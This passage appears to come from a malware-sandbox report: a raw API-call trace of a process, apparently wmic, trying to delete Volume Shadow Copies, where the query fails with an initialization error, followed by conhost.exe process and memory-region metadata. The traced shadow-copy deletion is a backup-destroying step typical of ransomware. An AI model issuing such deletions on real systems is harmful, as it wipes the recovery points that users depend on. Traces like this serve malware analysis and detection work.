IWbemClassObject:Get (in: This=0x50cec90, wszName="Password", lFlags=0, pVal=0x4fff874*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff874*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] IWbemClassObject:Get (in: This=0x50cec90, wszName="Server", lFlags=0, pVal=0x4fff874*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff874*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] lstrlenW (lpString=".") returned 1 [0316.486] lstrlenW (lpString=".") returned 1 [0316.486] IWbemClassObject:Get (in: This=0x50cec90, wszName="Authority", lFlags=0, pVal=0x4fff874*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50b6bac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff874*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.486] IUnknown:Release (This=0x50cec90) returned 0x1 [0316.486] GetCurrentThreadId () returned 0x8f8 [0316.486] ??0CHString@@QAE@XZ () returned 0x4fff880 [0316.486] IWbemClassObject:Get (in: This=0x50ce8d0, wszName="__RELPATH", lFlags=0, pVal=0x4fff868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff868*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] GetCurrentThreadId () returned 0x8f8 [0316.486] ??0CHString@@QAE@XZ () returned 0x4fff7fc [0316.486] ??0CHString@@QAE@PBG@Z () returned 0x4fff7f8 [0316.486] ??0CHString@@QAE@ABV0@@Z () returned 0x4fff778 [0316.486] ?Empty@CHString@@QAEXXZ () returned 0x73e46430 [0316.487] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x54899b0 [0316.487] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0316.487] ?Left@CHString@@QBE?AV1@H@Z () returned 0x4fff770 [0316.487] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x4fff774 [0316.487] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x4fff7f8 [0316.487] ??1CHString@@QAE@XZ () returned 0x1 [0316.487] ??1CHString@@QAE@XZ () returned 0x1 [0316.487] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x4fff76c [0316.487] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x4fff778 [0316.487] ??1CHString@@QAE@XZ () returned 0x1 [0316.487] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x5489a18 [0316.487] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0316.487] ?Left@CHString@@QBE?AV1@H@Z () returned 0x4fff770 [0316.487] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x4fff774 [0316.487] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x4fff7f8 [0316.487] ??1CHString@@QAE@XZ () returned 0x1 [0316.487] ??1CHString@@QAE@XZ () returned 0x1 [0316.487] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x4fff76c [0316.487] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x4fff778 [0316.487] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.487] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x73e46424 [0316.487] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.487] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0316.487] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0316.487] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0316.487] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0316.487] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0316.487] SysStringLen (param_1="\"") returned 0x1 [0316.487] IWbemServices:GetObject (in: This=0x50b0db0, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x4fff808*=0x0, ppCallResult=0x0 | out: ppObject=0x4fff808*=0x50cee20, ppCallResult=0x0) returned 0x0 [0316.490] IWbemClassObject:Get (in: This=0x50cee20, wszName="Text", lFlags=0, pVal=0x4fff7d4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff7d4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50be718*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x50b3980, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.490] SafeArrayGetLBound (in: psa=0x50be718, nDim=0x1, plLbound=0x4fff7e4 | out: plLbound=0x4fff7e4) returned 0x0 [0316.490] SafeArrayGetUBound (in: psa=0x50be718, nDim=0x1, plUbound=0x4fff7e8 | out: plUbound=0x4fff7e8) returned 0x0 [0316.490] SafeArrayGetElement (in: psa=0x50be718, rgIndices=0x4fff800, pv=0x4fff7ec | out: pv=0x4fff7ec) returned 0x0 [0316.490] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0316.490] IUnknown:Release (This=0x50cee20) returned 0x0 [0316.490] ??1CHString@@QAE@XZ () returned 0x1 [0316.490] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.490] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.490] lstrlenW (lpString="Shadow copy management.") returned 23 [0316.490] lstrlenW (lpString="Shadow copy management.") returned 23 [0316.490] IUnknown:Release (This=0x50ce8d0) returned 0x0 [0316.490] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.490] lstrlenW (lpString="PATH") returned 4 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0316.490] lstrlenW (lpString="WHERE") returned 5 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0316.490] lstrlenW (lpString="(") returned 1 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0316.490] lstrlenW (lpString="/") returned 1 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0316.490] lstrlenW (lpString="-") returned 1 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0316.490] lstrlenW (lpString="GET") returned 3 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0316.490] lstrlenW (lpString="LIST") returned 4 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0316.490] lstrlenW (lpString="SET") returned 3 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0316.490] lstrlenW (lpString="CREATE") returned 6 [0316.490] lstrlenW (lpString="delete") returned 6 [0316.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0316.490] lstrlenW (lpString="CALL") returned 4 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0316.491] lstrlenW (lpString="ASSOC") returned 5 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0316.491] lstrlenW (lpString="DELETE") returned 6 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0316.491] lstrlenW (lpString="/") returned 1 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0316.491] lstrlenW (lpString="-") returned 1 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] lstrlenW (lpString="GET") returned 3 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0316.491] lstrlenW (lpString="LIST") returned 4 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0316.491] lstrlenW (lpString="SET") returned 3 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0316.491] lstrlenW (lpString="CREATE") returned 6 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0316.491] lstrlenW (lpString="CALL") returned 4 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0316.491] lstrlenW (lpString="ASSOC") returned 5 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0316.491] lstrlenW (lpString="DELETE") returned 6 [0316.491] lstrlenW (lpString="delete") returned 6 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0316.491] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0316.491] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0316.491] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xae25d5e0 | out: _String="Select", _Context=0xae25d5e0) returned="Select" [0316.491] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xae25d5e0 | out: _String=0x0, _Context=0xae25d5e0) returned="*" [0316.491] lstrlenW (lpString="FROM") returned 4 [0316.491] lstrlenW (lpString="*") returned 1 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0316.491] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xae25d5e0 | out: _String=0x0, _Context=0xae25d5e0) returned="from" [0316.491] lstrlenW (lpString="FROM") returned 4 [0316.491] lstrlenW (lpString="from") returned 4 [0316.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0316.492] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xae25d5e0 | out: _String=0x0, _Context=0xae25d5e0) returned="Win32_ShadowCopy" [0316.492] lstrlenW (lpString="SET") returned 3 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0316.492] lstrlenW (lpString="CREATE") returned 6 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0316.492] lstrlenW (lpString="GET") returned 3 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0316.492] lstrlenW (lpString="LIST") returned 4 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0316.492] lstrlenW (lpString="ASSOC") returned 5 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0316.492] WbemLocator:IUnknown:AddRef (This=0x5093098) returned 0x3 [0316.492] lstrlenW (lpString="") returned 0 [0316.492] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0316.492] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.492] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.492] GetCurrentThreadId () returned 0x8f8 [0316.492] GetCurrentProcess () returned 0xffffffff [0316.492] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x4fff98c | out: TokenHandle=0x4fff98c*=0x270) returned 1 [0316.492] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4fff988 | out: TokenInformation=0x0, ReturnLength=0x4fff988) returned 0 [0316.492] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x3, TokenInformation=0x54899e8, TokenInformationLength=0x118, ReturnLength=0x4fff988 | out: TokenInformation=0x54899e8, ReturnLength=0x4fff988) returned 1 [0316.492] AdjustTokenPrivileges (in: TokenHandle=0x270, DisableAllPrivileges=0, NewState=0x54899e8*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0316.492] CloseHandle (hObject=0x270) returned 1 [0316.492] lstrlenW (lpString="GET") returned 3 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0316.492] lstrlenW (lpString="LIST") returned 4 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0316.492] lstrlenW (lpString="SET") returned 3 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0316.492] lstrlenW (lpString="CALL") returned 4 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0316.492] lstrlenW (lpString="ASSOC") returned 5 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.492] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0316.492] lstrlenW (lpString="CREATE") returned 6 [0316.492] lstrlenW (lpString="delete") returned 6 [0316.493] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0316.493] lstrlenW (lpString="DELETE") returned 6 [0316.493] lstrlenW (lpString="delete") returned 6 [0316.493] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0316.493] lstrlenA (lpString="") returned 0 [0316.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82b44, cbMultiByte=-1, lpWideCharStr=0x5483d18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0316.493] lstrlenA (lpString="") returned 0 [0316.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82b44, cbMultiByte=-1, lpWideCharStr=0x5483d18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0316.493] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0316.493] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0316.493] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xae25d528 | out: _String="Select", _Context=0xae25d528) returned="Select" [0316.493] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xae25d528 | out: _String=0x0, _Context=0xae25d528) returned="*" [0316.493] lstrlenW (lpString="FROM") returned 4 [0316.493] lstrlenW (lpString="*") returned 1 [0316.493] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0316.493] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xae25d528 | out: _String=0x0, _Context=0xae25d528) returned="from" [0316.493] lstrlenW (lpString="FROM") returned 4 [0316.493] lstrlenW (lpString="from") returned 4 [0316.493] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0316.493] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xae25d528 | out: _String=0x0, _Context=0xae25d528) returned="Win32_ShadowCopy" [0316.493] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0316.493] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0316.493] ??0CHString@@QAE@XZ () returned 0x4fff92c [0316.493] GetCurrentThreadId () returned 0x8f8 [0316.494] SysStringLen (param_1="\\\\") returned 0x2 [0316.494] SysStringLen (param_1="LHNIWSJ") returned 0x7 [0316.494] SysStringLen (param_1="\\\\LHNIWSJ") returned 0x9 [0316.494] SysStringLen (param_1="\\") returned 0x1 [0316.494] SysStringLen (param_1="\\\\LHNIWSJ\\") returned 0xa [0316.494] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0316.494] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5093098, strNetworkResource="\\\\LHNIWSJ\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xcc9564 | out: ppNamespace=0xcc9564*=0x50b0e00) returned 0x0 [0316.501] CoSetProxyBlanket (pProxy=0x50b0e00, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0316.501] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.501] ??0CHString@@QAE@XZ () returned 0x4fff91c [0316.501] GetCurrentThreadId () returned 0x8f8 [0316.501] lstrlenA (lpString="") returned 0 [0316.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82b44, cbMultiByte=-1, lpWideCharStr=0x5483d18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0316.501] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0316.502] SysStringLen (param_1="") returned 0x0 [0316.502] IWbemServices:ExecQuery (in: This=0x50b0e00, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x4fff914 | out: ppEnum=0x4fff914*=0x0) returned 0x80041014 [0317.485] _CxxThrowException () [0317.485] ??1CHString@@QAE@XZ () returned 0x73e46430 [0317.485] GetCurrentThreadId () returned 0x8f8 [0317.485] ??0CHString@@QAE@PBG@Z () returned 0x4fff9bc [0317.485] ??YCHString@@QAEABV0@PBG@Z () returned 0x4fff9bc [0317.485] ??0CHString@@QAE@XZ () returned 0x4fff888 [0317.485] SysStringLen (param_1="") returned 0x0 [0317.485] CoCreateInstance (in: rclsid=0xc869bc*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc869cc*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xcc957c | out: ppv=0xcc957c*=0x50b3960) returned 0x0 [0317.487] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x50b3960, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x4fff88c | out: MessageText=0x4fff88c*="Initialization failure\r\n") returned 0x0 [0317.521] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x50b3960, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x4fff890 | out: MessageText=0x4fff890*="WMI") returned 0x0 [0317.521] lstrlenW (lpString="WMI") returned 3 [0317.521] lstrlenW (lpString="Wbem") returned 4 [0317.521] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0317.521] lstrlenW (lpString="WMI") returned 3 [0317.521] lstrlenW (lpString="WMI") returned 3 [0317.521] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0317.521] WbemStatusCodeText:IUnknown:Release (This=0x50b3960) returned 0x0 [0317.521] ??1CHString@@QAE@XZ () returned 0x73e46430 [0317.521] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x4fff0e8, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0317.521] FormatMessageW (in: dwFlags=0x2500, lpSource=0x4fff0e8, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x4fff0d0, nSize=0x0, Arguments=0x4fff0d4 | out: lpBuffer="Ԍ䏴ԋ\x04") returned 0x2e [0317.521] LocalFree (hMem=0x50cef20) returned 0x0 [0317.521] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0317.521] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x5489a60, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0317.521] __iob_func () returned 0x77451208 [0317.521] fprintf (in: _File=0x77451248, _Format="%s" | out: _File=0x77451248) returned 46 [0317.523] __iob_func () returned 0x77451208 [0317.523] fflush (in: _File=0x77451248 | out: _File=0x77451248) returned 0 [0317.523] ??1CHString@@QAE@XZ () returned 0x1 [0317.523] ??0CHString@@QAE@PBG@Z () returned 0x4fff9c4 [0317.523] ??YCHString@@QAEABV0@PBG@Z () returned 0x4fff9c4 [0317.523] GetCurrentThreadId () returned 0x8f8 [0317.523] ??1CHString@@QAE@XZ () returned 0x1 [0317.523] IUnknown:Release (This=0x50b0e00) returned 0x0 [0317.523] ?Empty@CHString@@QAEXXZ () returned 0x73e46424 [0317.523] _kbhit () returned 0x0 [0317.524] ?Empty@CHString@@QAEXXZ () returned 0x73e46424 [0317.524] WbemLocator:IUnknown:Release (This=0x5093098) returned 0x2 [0317.524] IUnknown:Release (This=0x50b0db0) returned 0x0 [0317.525] IUnknown:Release (This=0x50b09a0) returned 0x0 [0317.525] WbemLocator:IUnknown:Release (This=0x5093098) returned 0x1 [0317.525] ?Empty@CHString@@QAEXXZ () returned 0x73e46424 [0317.525] WbemLocator:IUnknown:Release (This=0x5093098) returned 0x0 [0317.526] CoUninitialize () [0317.539] exit (_Code=-2147217388) [0317.540] ??1CHString@@QAE@XZ () returned 0x73e46430 [0317.540] ??1CHString@@QAE@XZ () returned 0x73e46430 Thread: id = 293 os_tid = 0xb18 Thread: id = 294 os_tid = 0xb1c Thread: id = 295 os_tid = 0xb20 Thread: id = 296 os_tid = 0xab8 Process: id = "21" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2f51e000" os_pid = "0x8ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x190" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 15631 start_va = 0x7f51d000 end_va = 0x7f51dfff entry_point = 0x0 region_type = private name = "private_0x000000007f51d000" filename = "" Region: id = 15632 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15633 start_va = 0x4abb9f0000 end_va = 0x4abba0ffff entry_point = 0x0 region_type = private name = "private_0x0000004abb9f0000" filename = "" Region: id = 15634 start_va = 0x4abba10000 end_va = 0x4abba23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004abba10000" filename = "" Region: id = 15635 start_va 